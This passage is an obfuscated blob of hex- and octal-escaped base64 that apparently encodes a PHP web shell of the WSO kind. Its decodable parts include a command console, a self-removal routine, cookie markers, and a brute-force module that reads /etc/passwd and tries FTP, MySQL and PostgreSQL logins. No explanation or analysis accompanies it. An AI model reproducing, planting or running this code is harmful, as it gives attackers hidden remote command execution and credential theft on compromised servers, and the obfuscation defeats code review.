D\x494Pjxwc\x6dU+\x4ay4kaFsxXS4nPC9wcmU+PC90Z\10448\144G\x51gYmdjb2xvcj0jM\x7aM\x7aM\x7aMz\120jxwc\155U+Jy5odG1sc3BlY2lhb\x47No\131X\x4azKCR\x6fWzJd\113S4nPC9wcmU+\x50C90ZD48\1143\122yPjwv\x64GFibGU\x2bJzsKCQkJ\131nJl\x59\x57\1637C\147k\x4aY2FzZSAncm\x56uYW1\154JzoK\x43QkJaWY\x6fI\x43FlbXB0\145\123\147kX\061BPU\061Rb\x4a3Az\x4a10pIC\x6b\147\145woJCQ\153JaWY\x6f\111UByZ\1275h\142\x57UoJF9\x51T1NU\127ydwMSdd\114CAkX1BPU1R\x62J3\101\172J10p\113QoJCQ\x6bJCWVjaG\x38gJ0N\x68b\x6cwndCByZW5hbWUhPGJyPi\x637CgkJCQl\154bHN\154\x43gkJCQ\153\112ZGllKC\x638c\x32NyaXB0\x50mcobnVs\142CxudWxsLCInLnVybGVuY29k\x5aSgkX1\x42P\1251\x52\x62\1123AzJ\0610pLiciLG51b\107wsIi\x49pPC9zY3J\160\143H\x51+Jyk7CgkJCX\060KCQkJZW\x4eo\x62yAnP\x47Zv\x63m0gb25zdWJta\130Q9Imco\x62nVsb\x43\x78udWx\163LFwnJyAuIHVy\142GVuY\x329k\132SgkX1BPU1RbJ3A\170J\x310pIC4gJ1\167nLG\065\x31bGwsdG\x68pc\1715uYW1lLnZhb\x48Vl\113TtyZX\x521cm4gZmF\163c2U7\x49\15248aW5wd\130QgdH\154wZT1\060\x5a\130h0I\1075hbWU9\x62mF\x74ZS\1022YW\170\061ZT\x30\151\112y\065o\144G1\163c3BlY2\154hbGN\157\x59X\112zKC\x52fUE9TVF\163ncDEnX\x53\153uJyI+PGlucHV0\111H\x525\x63GU9c3Vi\142Wl0IHZhbHVlPS\x49\x2b\x50\151I+PC9mb3JtP\x69c7CgkJCWJyZWFrOw\x6fJ\103\x57\116hc2UgJ3\122vd\x57NoJzoKCQkJaWYo\111\x43FlbX\1020eS\147kX1\102PU1RbJ\063AzJ10pIC\x6bg\145woJ\x43QkJ\112\110RpbWUgPS\102\x7adHJ\x30b3RpbW\125oJ\106\x39QT1NUW\x79d\167\115yd\x64KT\163KCQkJCWl\x6dKCR0aW\061l\113SB7Cg\x6bJCQkJaW\131o\x49XRvd\x57NoKCR\146\x55E\071TVFsnc\x44En\130S\x77kdGl\164\132Swkd\107ltZSkpCgkJCQkJC\x57V\x6aa\1078gJ0Z\x68aWwhJ\x7as\113CQkJCQl\154bHNlCgkJ\x43Qk\112C\127\126\152aG8gJ1R\x76\x64WNoZW\121\150JzsKCQ\x6bJCX0\147ZW\170zZSB\x6cY2hvICdCYW\121gdGl\x74\x5aSB\155b3JtYXQhJzs\x4bCQkJfQoJCQlj\142GVhcn\x4e\x30YXR\x6aY\127N\157ZSgpOwoJCQ\154lY2h\x76\111C\1438c\062Nya\x58B0P\x6eA\172Xz0\151\x49js8\1143\x4e\x6a\x63mlwdD48Zm9ybSB\x76b\x6eN1Ym1p\144\x440iZyhudW\x78sLG\x351b\x47wsXCcnIC4gd\130J\163ZW5jb2RlKC\122fU\1059\x54\x56FsncDEnXS\x6b\x67\x4ciAnXCcsbnVsbCx\x30aG\154zLnR\166dWNoLn\132hb\x48VlK\124tyZX\122\061\x63m4g\132mFsc2U7Ij\x348aW5\x77dXQgdHlwZ\x5410\132Xh0IG5hbWU9dG91Y2ggdmFsdWU9Ii\143uZGF0Z\x53gi\x57S1tLWQgSDppO\x6eMiLCBAZmlsZW10aW1lKCRf\x55E9\124VFs\156cDEnXSkpLic\151PjxpbnB1\x64CB0eXBlPXN\061Ym\061pdCB2YWx1ZT0\151\x50j4iPjwvZ\155\071ybT4nOwo\x4aCQl\151\x63\155VhazsK\103X0KCWVjaG8gJzw\166ZGl2P\x69\1437Cgl3c29Gb290ZXI\x6fKTsKfQoK\x5an\x56u\131\063Rpb2\064gYWN\x30\x61W9uQ29uc\0629sZSgpI\110sKIC\x41gIGl\x6dKCFlb\130\1020\145SgkX1BP\1251RbJ3AxJ10p\x49CYmICFlbXB0eSgkX1BPU1RbJ3A\171J10p\x4b\x53B\x37CiA\x67I\103A\x67ICAgV\061NPc2V0Y29va2\154lK\x471kNSgk\x58\x31NFUlZF\125lsnSF\x52UUF9IT1NUJ10pLidzdG\x52lcn\112f\x64\x479fb3\x560J\x79w\x67dHJ\x31ZSk7CiAgICAg\x49CAgJ\1069QT1NUW\171d\x77MSdd\x49C49I\103cgMj4mMSc7CiA\147\x49CB9IG\126sc\062VpZ\x69ghZ\x571wdH\x6bo\112F9Q\1241N\125WydwM\123ddKSkKICAg\x49CAgI\x43BXU09zZXRjb29r\141WUobWQ1\x4bCRfU0VS\x56kVSWyd\x49VFRQX\x30\150\x50U\x31QnXSk\x75J3N0Z\107Vycl9\060b1\071vdXQn\114CAwKTsKC\147\x6cpZih\x70c3\116l\144C\x67kX1B\120\x55\061RbJ2Fq\x59XgnXSkpIHsKC\x51l\x58U09\172\132XRjb29raWUo\x62WQ1KCRf\1250\126\123VkVSWy\144I\x56FRQX\x30hPU\x31Q\156X\123k\165\x4a2FqYX\147nLCB0cnVl\x4bTsKC\x51lv\131l\071zdGFydCgpOwoJ\103W\126jaG8gImQuY2\x59uY\x321kLnZhb\x48V\x6c\x50S\143nO1xu\111jsKCQkkd\x47V\x74c\103A9IE\102pY2\071u\x64ig\x6bX1BPU\x31RbJ2NoYXJzZXQ\x6e\130SwgJ1VURi\x304Jywg\131WRkY3\116sY\x58\116oZXMoIlxuJCAi\x4c\151\122f\x55E9TV\106s\x6ec\x44\105nXS4\x69XG4i\x4cndz\x620V4KCRf\x55E9\x54VFsncDEnXSksIlx\165\130HJc\x64F\170cJ1\167wIikp\117woJCWlmKHBy\x5aW\144fbWF\x30Y2goIiE\x75KmNkXHMrKFte\11710\x72KS\x51\x68\x49\151wkX\061BPU1RbJ3AxJ10sJG1hdGN\x6f\113SkJewo\x4aC\x51lp\132ihA\x592\150kaXI\x6fJG1\150\x64GNo\127zFd\113\123k\147ewoJCQk\112J\x45d\x4dT0JBT\106\116\142J\x32N3\x5aCddI\x440\x67QGdldGN\x33\132CgpO\167oJ\x43\x51\153J\132WNobyA\x69Y189JyIuJ\105\144MT0J\102T\106NbJ2\x4e3\132CddLi\x49nOyI7CgkJCX0KCQl9C\x67k\112ZWNobyA\x69ZC5\152Zi5vdXRwd\x58Qu\x64mFsdW\125rP\x53ci\114iR\x30ZW1wL\151\x49\x6eOy\1117CgkJZWNobyA\x69ZC5\x6aZi5vd\130RwdXQuc2Nyb2\170sVG9wI\104\x30g\132C5\152Zi5\166d\x58RwdXQ\165c2Nyb2x\163SGV\x70Z2h0OyI\067Cgk\112JHRl\x62\x58AgP\123B\x76Yl9nZ\x58RfY\062\170l\x59W\x34\157KTsKC\121ll\1312hvIHN\x30cmxlbigk\144\107VtcCk\163\111C\112cb\151I\x73I\x43R0ZW\061wOwoJC\127V\064aXQ7Cgl9Ci\101\147ICBpZihlbXB0eS\147kX1\x42P\125\x31RbJ2Fq\x59XgnXSkmJiFlb\x58\1020eSgkX1\102P\1251Rb\x4a3AxJ\x31\x30pK\121oJCV\x64T\x543\116\x6cdGN\166b2t\x70Z\x53\x68\x74ZD\x55oJF9TRVJ\127\122VJ\x62\x4a0hUVFBfSE9TV\103ddKS4\x6e\131Wp\150e\103csIDApO\x77\x6fJd3NvSGVhZGV\171\x4bCk7CiAgICBlY\062hv\111CI8c2Ny\141XB0\x50gp\160Zih3a\x575kb3cu\122\130Z\x6c\x62nQp\x49Hdp\142\x6dR\x76d\x795jYXB0dXJ\x6c\x52\130Z\154b\156RzK\x45V2ZW5\x30LktFWU\122P\x5604pO\167p2Y\x58I\x67\13121\153cy\x419\111G\065ldy\102BcnJheS\x67nJyk7Cn\x5ahci\x42jdX\x49gPSAwOwpm\144W5\x6adGlvbiBrcChlKS\1027Cgl2YXIg\x62\x69\1019\111Ch3aW\x35kb3\x63uR\x58Zl\x62n\121pID8g\x5aS53aG\x6cjaCA6\111G\125\165a\062\1265Q\x329kZ\124sKCW\x6cmKG4gPT0gMzgpIHs\113C\121ljdXItL\124\x73KCQ\154\160ZihjdXI+PT\x41pCgk\112\103WRvY\x33VtZW50LmN\155\114mNtZC52YWx1ZSA9IGNtZHN\142Y3\126yXTs\113C\121llbH\116lCgkJCWN1c\x69\x73rOw\157J\146SBl\x62HNl\x49G\154mKG4g\120T\060gNDA\x70IHsKCQljdXIrKzsKCQl\x70ZihjdX\111gPCBj\142\127Rz\x4cmxlbmd0aCk\x4bCQkJZG9j\x64\x571lbnQuY2Yu\13121k\114\156Zhb\x48VlID0gY\0621kc1tjdXJdO\x77\x6fJCWVsc\062U\113CQ\x6bJY3VyLS0\x37C\147l9Cn0K\x5anVuY3R\x70b\x324gYWR\153\x4bGNtZCkgewoJY\x321kcy5w\x623AoKT\163KCWNt\132HM\165cH\126zaChjbW\x51pOwoJY\062\x31kcy5\x77d\x58NoKCcnKT\163KCWN\x31ciA9IG\116\164ZHM\165bGVuZ\x33\x52oLTE\067\x43n0KPC9zY\063Jp\x63HQ+IjsKCWV\x6aaG8\x67Jzxo\x4dT5D\x6225zb2\x78lPC9o\x4dT4\x38ZGl2IG\116\163YXNzPWNvbnRlbnQ+PGZvcm0g\142mFtZT1\152ZiBvbn\1161\131\1551pdD0ia\127YoZC5jZi5jbWQud\155\x46sdWU9PVwnY2\x78lYXJcJ\x79l7\132C\065\x6aZ\1515vdX\122wdXQu\x64\x6dFs\x64\x57U9XCdc\112ztk\114\155\116mLmNtZ\10352\x59Wx1Z\x54\x31\x63J\061wnO3JldHVy\x62iBmYW\170\x7aZTt9\x59WRkK\110\122oa\x58M\165\x5921kLnZ\150b\110VlKTt\x70Zih0aGl\172LmF\161\x59X\x67u\x592h\x6c\x592tlZC\x6c\x37Y\x53\x68u\144W\170sLG5\x31bGwsdG\150\x70\x63y5jbWQud\x6dF\x73\144W\x55\163d\x47hpcy5zaG\071\063\1302Vycm9\171\x63y\x35jaG\x56ja2VkPzE6X\x43d\x63Jyk7f\x57Vs\x632V7Zyhu\144WxsLG51\x62GwsdGh\160cy\x35jbWQ\165dmFs\x64WUsdGhpcy\x35zaG93X2V\171cm9y\x63y5\152\141GVja\062Vk\120zE\066X\x43dcJy\x6b7fS\x42yZXR\061\143m4g\x5a\x6dFs\1432U\x37Ij48c2VsZWN0\111G\x35h\142WU9YWxpYXM+JzsKCWZvcmV\x68\1312goJEdMT\x30J\102\x54\x46NbJ\x32FsaW\106zZ\x58Mn\130SBhc\171AkbiA\071\x50\x69A\153d\151kgewoJCWl\x6d\113CR\x32ID0\x39I\103\x63nKSB7\103\147\x6b\x4a\x43W\x56jaG8gJzx\x76\x63HR\156cm\0711cCBsYWJlbD0\151LS\143uaHRtbH\x4ewZWNpYW\x78jaGFycygkb\x69k\165Jy0iPjwvb3\x420Z3\x4avdX\101\x2bJzsKC\121kJY29udGl\165d\127U7CgkJfQo\x4aCWVjaG8gJzxvcHR\160b2\064gdm\x46sdWU9IicuaHRt\142HNwZWNp\131WxjaGFycy\147kdik\x75JyI\x2bJ\1714k\142\1514nPC\x39v\143HRp\x622\064+JzsKCX\060KC\x51o\x4a\132WNobyA\x6e\120C9\172ZWxlY\063\x51+\x50GlucHV0IHR5cGU9YnV0d\x479uIG9\x75Y2xpY2s9ImF\153ZChkL\x6dNmLmF\x73aWFzLn\x5ahbHVlKTt\x70Zi\150kLmNmLmFqYXg\x75Y2h\x6cY\x32tlZCl7YShu\x64WxsLG51bG\x77sZC5jZi5\150bGlh\x63y52\x59W\1701ZS\x78k\x4c\x6d\x4emLnN\157b3dfZXJyb\063Jz\x4cmNo\132\127\x4er\132WQ\x2f\x4dTpcJ1wnK\x54t9Z\127x\x7aZXtn\x4bG51b\x47wsbn\126\x73b\x43xk\114mNm\114mFsaWFzLn\132hbHV\x6cLGQuY\062Yuc2\x68v\1441\071lcnJvcnMuY2hlY\062tlZD8xOlwn\130Cc\x70O30iIH\132hbHVlPS\111\053Pi\111+IDxu\142\x32J\x79PjxpbnB1dC\1020eX\x42lPW\116oZWNrYm9\x34\x49G5hbWU9YWpheCB2YWx1Z\x540xICcuKEAkX\x30NPT0tJRVt\164ZDUoJ\1069TRVJWRVJb\1120hUVFBfSE9TVCddKS4nY\127pheCddPy\x64jaGVja2V\x6bJzonJ\171\153u\x4a\172\x34gc2\x56uZCB\061\x632luZyB\102\123kFY\111\104xpbnB1dCB0eXBlPWNoZWNrYm9\x34I\x475h\x62\x57U9c2hv\x6419lcnJ\166cnM\147dmF\163dW\1259\115S\101nLigh\x5aW\x31wdHko\x4aF9QT1\116UW\x79d\167Midd\x4b\130x8\112F9DT0\x39\x4c\x53U\126bbWQ1\x4b\x43\x52fU0\x56S\126kVSWydIVFRQX0hPU1QnXSk\x75J\x33\1160\x5aGVycl9\x30b19vdX\121nXT8nY\062\x68l\1312\x74\154ZC\1436JycpL\x69c+IHJlZGly\x5a\x57\x4e\x30IHN0ZGVyciB\060\142yBzdG\122vdXQgK\104I+JjEpPC9\165b2\x4ayPjxic\x698+PHRleH\122hcmVhIGNsYXNzPW\x4a\160Z2Fy\x5aWEgbmFt\132T1v\144XR\167d\x58Qgc3\1225bG\x559Im\x4avcmRlci1ib3R\x30b206MDttYXJ\156aW46MDsi\111HJlYWR\x76b\155x5\120\151c7C\147lpZighZW1wdHkoJF9Q\x541NUW\x79\x64wMSddKSkgew\157JCWVj\141G8gaHRtb\x48\116wZWNpYWxj\x61\x47Fyc\x79giJCAiLiRfUE9TV\x46snc\104\x45nXS\x34iXG4iLn\x64\172b0V4KCR\146\x55E9T\126Fsn\x63D\x45nXS\153p\x4fw\x6fJ\x66QoJZWNobyAnPC\x390\x5aXh0\131XJl\x59T\0648dG\106i\142GUg\x633R5bGU\x39Im\x4avcmRl\143jox\x63\110\x67g\143\x329sa\x57Q\147I2\x52mNTtiY\x57N\x72\x5a3JvdW5kLWNvbG9yOiM1NT\125\067Ym\071yZGVy\114\130R\x76c\x44owc\x48g7I\151Bj\132Wx\x73cGFkZGluZz0wIGNlbGxzcG\x46jaW5nPT\x41\x67d2\x6c\153\144Gg9IjEwMCUi\x50jx0cj\x348dG\121\147\x642lk\x64\107\1479I\152ElI\1524kPC90ZD48dG\121+PG\x6cu\x63HV0IH\1225cGU9dGV4d\x43Bu\131\x57\x31lPWNtZC\102zdHls\x5a\x54\x30iYm9yZGV\171OjBw\145Dt3aWR0aDo\x78MDAlO\x79I\147b25rZXlkb3duPS\x4a\x72c\103hldm\126udCk7Ij48L\x33R\153P\x6a\x77\x76dHI+PC90YW\112sZT4nOwoJZ\x57NobyAnPC9m\x62\063\x4a\164PjwvZGl2Pj\170\172Y3Jpc\110Q+ZC5\x6aZi5\152bWQ\165Zm9j\144\130Mo\113\124s\x38L3Njcmlw\x64D4\156O\167o\112d3N\166\122m9v\144G\126yKCk7\x43n\x30\x4bCm\1321bmN0\141W9\165IGFjdGlvbkxvZ\06291dCgpIHsK\111CAgIHNldGNvb2tpZSh\164\x5aDUoJF\x39TRVJW\x52VJbJ0\x68UVFBfSE9TV\103d\x64KSwgJycsI\x48\122\x70bWUoKSA\164I\x44\x4d2MDApOw\157\x4aZG\154\x6cK\103\144ieWUhJyk\067C\x6e0KCmZ1bmN\x30aW9uI\107FjdG\154vblNlbGZ\123ZW1vdmU\x6fKSB\x37Cgo\112aWYoJF9QT1NU\x57ydwMSddID09IC\x645ZXMnK\121o\112CWlmKEB\061bmx\160b\x6dsocHJlZ19\x79\132XBsY\127Nl\113Cc\150XChcZ\x43t\x63K\x56\x78zLi\157h\x4a\171w\147Jy\x63sI\106\x39\146R\x6blMRV9fKSkpCgkJ\x43WRpZS\147\156U2\x68lbGw\147aGFzI\x47JlZ\1274gc\155Vtb3ZlZ\x43cpOwoJCWVsc2UKCQkJZWNoby\101\156dW5saW5rIGVycm\x39yISc7CiAgI\x43BpZi\147\153X1\x42PU1RbJ3AxJ\x310gIT0gJ3llcycp\103\x69AgICAg\111C\x41gd3N\166SGVhZG\x56yKCk7\x43\x67llY2h\x76ICc8\141DE+U3V\x70Y2lkZTwvaDE+\x50GRpdiBjbGF\172cz1jb25\060ZW\0650PlJ\x6cYWx\163\145SB3\131W50IHR\166\x49HJlbW\0712ZSB0a\107U\x67\x632hlbGw/PGJy\x50jxh\x49G\x68yZW\x599IyBv\142mNs\x61WN\x72\x50SJ\x6eKG51bGws\x62n\126\163b\x43\x78\143J3\x6clc1wn\x4bSI+WWVzPC9hPjwvZGl2P\x69c7Cgl\063c29\107b\x3290\132XI\x6fKT\x73\113\x66Q\157KZnV\165Y3R\x70b24\x67YW\x4e0aW\071uQ\x6eJ1dGV\155b3JjZSgpI\x48sKCX\x64zb\060hlYWRl\x63igpOwoJ\x61\127YoIGlzc\x32V0K\103R\x66U\1059\x54V\106sn\x63HJvd\x478nXSkgKSB7\x43g\153JZWNobyAn\x50GgxPlJ\x6c\x633VsdHM8\114\x32\x67\x78Pjxk\141XYgY2xhc3M9Y\0629udGVu\144D48\x633B\150bj5UeXBl\117jwvc\063Bh\142j4gJy5odG1\163c3\102lY2lhbGNoYXJzKC\x52fUE9\124VFs\x6ecHJvd\1078\156XS\153\165JyA\x38c3Bhb\1525TZXJ2ZXI6P\x439zcGFuPiA\156Lmh0bWxzcGVjaW\x46sY2hh\x63nMo\x4aF9\121T\061NUW\x79\x64zZ\130J2\132XInXSk\165Jzxic\x6a\x34nOwoJCWlmKC\x41kX\061BPU1\x52bJ3Byb3RvJ1\060gPT0\x67J2Z\x30c\103cg\x4bSB7CgkJC\x57Z\x31bmN0aW9u\111Hdz\142\060\112\171d\130RlRm\071yY2U\x6f\112\107l\167LCRwb3J\x30\114\x43Rsb2d\160biwkcGFzc\171kgewoJCQkJ\112GZwI\x440gQGZ0cF9\x6ab25\165ZWN0KCRp\x63CwgJ\x48Bv\x63nQ/J\110BvcnQ6Mj\x45pOwoJC\x51kJaWYoISRmcCkgcmV0d\130JuIG\132hbHNlOwoJCQkJ\x4a\110JlcyA9IE\x42mdHBf\142G9naW4o\x4aGZwL\x43Ak\x62G9\156\x61W4sICRw\x59X\x4ez\113TsKC\121\153\x4aCUBm\x64HBfY2xvc2U\157JGZw\113\124sKCQkJ\x43X\x4aldHVybiAkcmVzO\x77oJCQl9\x43gk\x4a\x66SBlbH\116laWYoICRf\125E9TVFsnc\110JvdG8nXSA9PSAnbXl\x7acWwnICkgew\x6fJCQlmdW5jdGl\166biB\x33\x6329CcnV\x30\132UZvcm\116lKCRp\x63C\167kcG9ydCwkbG\x39n\141W\x34sJHBhc3MpIHsKCQ\153J\103SRyZX\x4dgPSBA\x62X\x6czcWxfY29ub\155\x56jdC\x67ka\x58A\165JzonLi\x67k\x63\1079ydD8kcG9ydDoz\x4dzA\062KSw\147JGxvZ2l\x75LCAkcGFzcyk7C\x67kJCQ\x6cAb\130lz\143\127xfY2\170vc\062\x55oJHJlcyk7Cg\153JCQlyZXR\061\143m4gJH\x4alczsKC\x51k\112fQoJ\x43X0g\x5aWxzZWlmKCAkX\x31\102P\x55\x31Rb\x4a3Byb3R\166J1\060gPT0g\1123\x42nc3FsJyAp\x49HsKCQk\x4aZnVu\x59\x33Rpb24gd3N\166QnJ\x31dGVGb3Jj\132SgkaXAsJHB\x76cnQsJGxvZ2luLCRwYXNzK\123B7Cgk\112\x43Qkkc3R\171I\x440g\111m\x68vc3\121\071\x4ayI\165JG\x6cwLiInI\110\102v\x63n\1219JyIu\112\x48BvcnQuIic\147\x64XNlcj0\x6eIi4kbG9naW4uIi\x63g\143GFz\143\x33dvc\155Q\x39\112yIuJHBh\x633Mu\x49icgZ\107JuYW1lPXB\x76\x63\x33RncmVzIj\163KCQkJ\103SRy\132\x58M\147PSBAcGdfY\062\x39ubm\x56jdC\x67k\x633Ry\113TsKCQkJCUBwZ19jbG9\x7a\132\x53gkcmVzK\124sKCQkJ\x43XJldHVybiAkc\155V\x7aOwoJ\x43Ql9Cgk\x4afQoJC\123RzdWNjZX\x4ezID0gMDs\x4bCQk\x6bY\130\1220\x5aW1wd\110M\147PSAwOw\x6fJCSRz\132XJ2ZXIgPSBleHBsb2\122l\113\103\x496I\x69\x77\x67JF\071\121T1NUWydzZXJ\x32ZXIn\130Sk\x37C\147kJaWYoJF9QT1N\x55Wy\x640eXBlJ10gPT0\x67M\x53kge\x77oJCQkk\144GVtcCA9\x49EBmaWxlKCcvZ\130Rj\x4c3Bhc3N3ZCcpOwoJCQl\160Zig\x67aX\116fYX\x4ayYXkoJ\110\x52l\142XApI\x43\153KCQkJCWZ\x76cm\126hY2goJH\x52lbXAgYXMgJGx\x70bmUpIHsKCQk\x4a\x43Q\153k\142GluZ\123\1019IG\1264cGxvZGUoIj\x6fiLCAkb\107luZSk7CgkJC\121kJKysk\131XR0\132W1wdHM\067CgkJ\x43Qk\x4aaWYoI\110dzb0Jyd\x58Rl\x52m\x39yY2U\157QCRzZX\x4a2ZXJb\x4dF0\163QCRzZXJ2\x5aX\112b\115V0\163I\x43RsaW5lWzBdLCAkbGluZV\x73wXSkgKS\1027CgkJ\x43Q\x6b\112CSRzdWNjZX\x4ez\x4b\171s7Cgk\112CQ\153J\103\127\126\x6a\141\x478gJzxi\x50i\x63\165\x61HRtbH\116wZWNp\131WxjaGFycyg\153bGluZV\x73wXSkuJzwvY\15246Jy5od\1071s\1433\x42lY2lhbG\x4e\x6fYXJzK\103RsaW\065lWzB\x64KS4\x6ePGJyPic7CgkJC\x51kJ\146QoJ\103Q\153JCWlmKEAkX1BPU1RbJ3\112ldmVy\1432\125\x6eXSkgewoJC\121kJCQ\x6b\x6bdG\x31wID0gIi\x497Cgk\x4aCQkJC\127ZvcigkaT1zd\110JsZW4oJGxpbmV\x62MF0pLTE7I\103\x52pPj\x30wOyAtLSRpKQoJCQk\x4aC\x51kJ\112\x48RtcC\101uPSAkbGluZV\163wX\126\x73kaV\x307Cgk\112\x43QkJCSsrJGF\x30dGVtc\x48RzOwoJCQkJCQlpZi\147g\x643N\166\x51\x6eJ1d\x47VGb\063\x4a\x6aZShAJHNlcnZ\154c\x6cs\x77XSxAJHNlcnZ\154clsxX\x53wgJG\x78pbmV\142M\106\060s\111CR0\142XApICkgewoJCQkJC\121kJJHN1Y2\x4elc3MrKz\163KC\121\x6bJCQkJCWVjaG8gJ\x7axiPicuaH\122tbHNwZWN\x70YWxjaGFyc\x79g\x6bbGluZ\126s\x77XS\x6buJzwvYj46Jy5odG\061sc\063BlY2lhbGNoY\x58J\x7aKCR0bXApOwoJCQ\x6bJCQ\1549CgkJCQkJ\146QoJC\x51kJfQ\157J\x43\1300\x67ZW\170z\132WlmKCRf\125E9TV\106sn\144HlwZSddID\060\x39IDIp\111Hs\113CQ\x6bJJHRlb\130AgP\x53BAZmlsZSg\153X1B\120U1RbJ2RpY3Q\x6eX\123k7C\x67kJCWl\x6dKCBpc1\071hcn\x4ah\x65Sgk\x64GVtc\103k\x67\113Q\157JCQkJZ\1559yZ\x57FjaCgkdGV\164cCBhcy\101k\142GluZ\x53k\147ewo\112CQkJCSRsa\x575\x6cI\1040gdHJpb\123gk\x62Glu\x5aSk7CgkJCQkJKy\x73\153YX\x520ZW1w\x64HM7\x43gkJCQkJaWYo\x49Hdzb0J\x79\144XRl\x52m9yY\062U\x6f\112\110NlcnZ\154clswX\123xA\x4aHNlcnZl\143lsxXSw\147JF9QT\061N\x55Wydsb2dpbidd\x4cCAkbGluZSkg\113SB7Cg\153JCQkJCS\x52\172dW\116\152ZXNzKys7CgkJC\x51kJCWVjaG8gJ\172xi\120icuaHRtbHN\167ZWN\x70Y\x57\x78\152aGFy\x63y\x67kX1BP\x551Rb\x4a2\170vZ2l\x75J\x310pLic8L2I+\x4ficuaHRtb\x48NwZWNpYWxj\141G\x46ycyg\x6bb\107luZSku\x4azx\151cj4nOwoJCQkJ\x43X0KCQkJCX0\x4b\x43Ql\071C\x67kJZWNoby\101iPHNwY\1274+\x51XR0ZW\x31wdH\x4d6\120C\071z\x63\x47Fu\120\151A\x6bY\x58R0ZW1wdHMgPHNwYW\064+U\063V\152\1312\126\172c\x7ao8\114\x33NwYW4\053I\103R\172\144\x57\x4ejZXNz\x50C9kaXY+PG\112yPiI7Cgl\x39C\x67llY\x32hvICc\070a\x44E+QnJ1dGVmb3JjZTwva\x44\105\x2bPGR\x70diBj\x62GFzc\x7a1jb250\132W5\x30Pjx0YWJsZT\064\x38Zm9ybSBtZXRo\x622Q9cG\x39zd\1044\070\x64HI+PHRkPjxzc\x47F\165\x50lR5cGU8L3NwYW\064+\x50C\x390ZD4nCgk\112Lic8dGQ\053\120\x48Nl\142\x47\126jdCBuYW\061lPX\x42\x79b3RvPjxvcHR\x70b\0624gd\x6dFsdWU9Z\156Rw\x50k\132UU\x44\x77vb3\x420\x61W9uPj\x78\x76\x63H\x52pb2\064gdmF\x73dWU9bX\x6czcWw+TXlTcWw8L29wdGlvbj48b\x33\x420a\1279uIHZhbH\x56lP\130Bnc\x33F\163PlB\x76c3RncmVTcWw\x38L29wdGlvbj48L3NlbGV\152\144D\0648\x4c3\x52\153\x50jwvdHI+P\110RyP\152\1700ZD\064nCgkJLic8aW5\167dXQgdHlwZ\x541oaWRkZW\x34gb\155Ft\132T1jIH\x5ahbHVl\x50SIn\114\155h0bWxzcGVja\x57F\x73Y2hhcnM\x6fJEdMT0J\x42TFNbJ2N3ZCddKS4\x6eIj4\156CgkJLic\x38aW\x35wdX\121gd\x48lwZT\061oaWRk\x5aW4gb\x6dF\164ZT1h\x49\x48\132hbHV\x6cPSI\x6eLm\x68\x30b\x57xzcGVjaWFsY2\150hcn\x4doJF\x39\x51T1NUWydhJ10pLici\x50icKCQ\x6b\x75Jzx\x70b\x6eB1dCB\060\x65XBlPWhpZGRlbiBuYW\x31l\x50\x57N\x6f\x59X\x4a\172ZXQgdmFsdWU9\x49ic\x75aHRtbHNwZ\127Np\131W\x78jaGFycy\147kX\x31BP\1251RbJ\x32NoYX\112zZXQ\156XS\x6b\x75JyI+J\167oJCS4nPHNwYW4+U\062VydmVyO\156Bvc\156Q8L3NwYW4+PC90Z\x44\x34nCgk\112Lic8dGQ+PGlucHV0IHR5cGU9dG\x564dC\102uYW1lPXNlc\156Zlc\151B2YWx\061\x5a\1240i\115T\1113\114j\x41uM\1034xIj48L\063Rk\x50\x6aw\166\144HI+Jw\157JCS4n\x50HRy\120jx0\132D48c3Bhbj5Cc\x6eV0Z\x53B0eXB\154PC9z\x63GFuPj\x77\166\144\x47\x51+JwoJCS4nPHRkPj\x78s\x59WJlbD48a\x57\065wdXQgdHlwZT1yYWRp\142y\102uYW1l\x50\x58\122\x35cGUgdmFsdWU9\x49j\105iIGNo\132WNrZWQ+IC\x39l\x64\107Mv\x63\x47Fzc\x33dkPC9sYWJlbD48L3\122kPjwvdH\x49\x2bJwoJC\1234nPHRy\120jx0ZD48\x4c3RkP\152\1700ZD4\x38bGFiZWwgc3R5bGU9\111\x6e\102hZGRpbm\143tb\x47VmdDoxN\x58B4Ij\0648aW5wdXQg\x64H\154wZT1\x6aaGVja2JveCBuYW1lPXJldmV\x79c2Ugdm\106s\x64WU9MSBja\107Vj\1412\x56kPiByZXZ\154\x63\x6eN\x6cI\x43\150sb2dpbiAtPiBua\x57dvbC\x6b\x38L\x32x\x68\x59mVsPjw\166d\107Q+P\x439\x30cj4nCgkJ\x4ci\1438dHI+PHRkP\x6a\x77vdGQ+\120H\122kPjx\163\x59WJlbD\0648aW5\x77dXQ\x67d\110\x6cw\x5aT1yYW\x52pbyB\x75Y\x571\x6c\x50XR5cGUgdmFsdWU\071IjIiP\151BEaWN\x30aW9uYXJ5\120C9s\131WJlbD\0648L3Rk\120jwvdHI+J\167oJ\103S\064nP\x48RyP\152x0ZD\0648\x4c3RkPjx\x30ZD48\x64GF\x69bGUgc3R5b\x47U9I\x6eBhZGR\160\142mc\x74\142\x47V\155\x64DoxNXB4Ij48dHI\053P\x48RkPjx\172cGFuP\x6bxvZ2luPC9\x7acG\106uP\152wv\144\x47Q+JwoJCS4nPHRkP\152xpbnB1\x64C\1020\145\x58\102lPXRleHQgbmFtZT1sb\x32d\x70biB2YWx1ZT0icm9vdCI+\x50\10390\x5aD48L\x33RyPicKC\121kuJz\x780\143j48dG\x51+PHNwYW4\053\122\107\x6cjdGl\166\142mF\171eTwvc\x33Bh\x62j48\x4c3\122k\x50icKC\x51kuJzx0Z\x44\0648a\x575\167d\130QgdHlwZT1\x30ZXh0IG5hb\127\1259ZGljd\x43B2YWx1ZT0iJy\x35\x6f\144G1sc3BlY\x32l\x68bGNo\x59XJ\172KCRHT\x459CQU\x78\x54Wy\144jd\x32QnXSkuJ3B\x68c3N\x33\x5aC\x35k\x61\x57M\151Pj\167vdGQ+PC9\x30cj48L3\x52hYmxlP\151cK\x43Q\x6buJ\x7a\167vd\x47Q+PC90cj48dHI\053PHRkPjw\166d\x47Q+PHR\x6b\x50j\x78p\x62n\x421dCB0eX\x42l\x50XN1Y\x6d1pdC\x422YW\1701Z\1240\x69Pj4iPjw\x76dGQ\053PC\x390cj48L2Zv\143\155\x30+PC90YWJs\x5aT4nOwoJZWNobyAnPC9k\141\130Y+PGJy\120ic7Cgl\063c29G\142290\132\x58I\x6fKTs\x4bfQ\x6fKZnVuY3R\x70b24gYWN0aW\071\x75U3FsK\x43kg\145woJY2x\150c3Mg\122GJDbGFzcyB7CgkJdmFyICR0\x65XB\154OwoJCXZhciAk\142Gluaz\x73KCQl2Y\130IgJ\110JlczsKCQlmdW5\152dGlvbi\x42f\x582Nvbn\116\x30cnVjdCgk\144\x48l\x77ZS\x6bJ\145woJCQ\x6b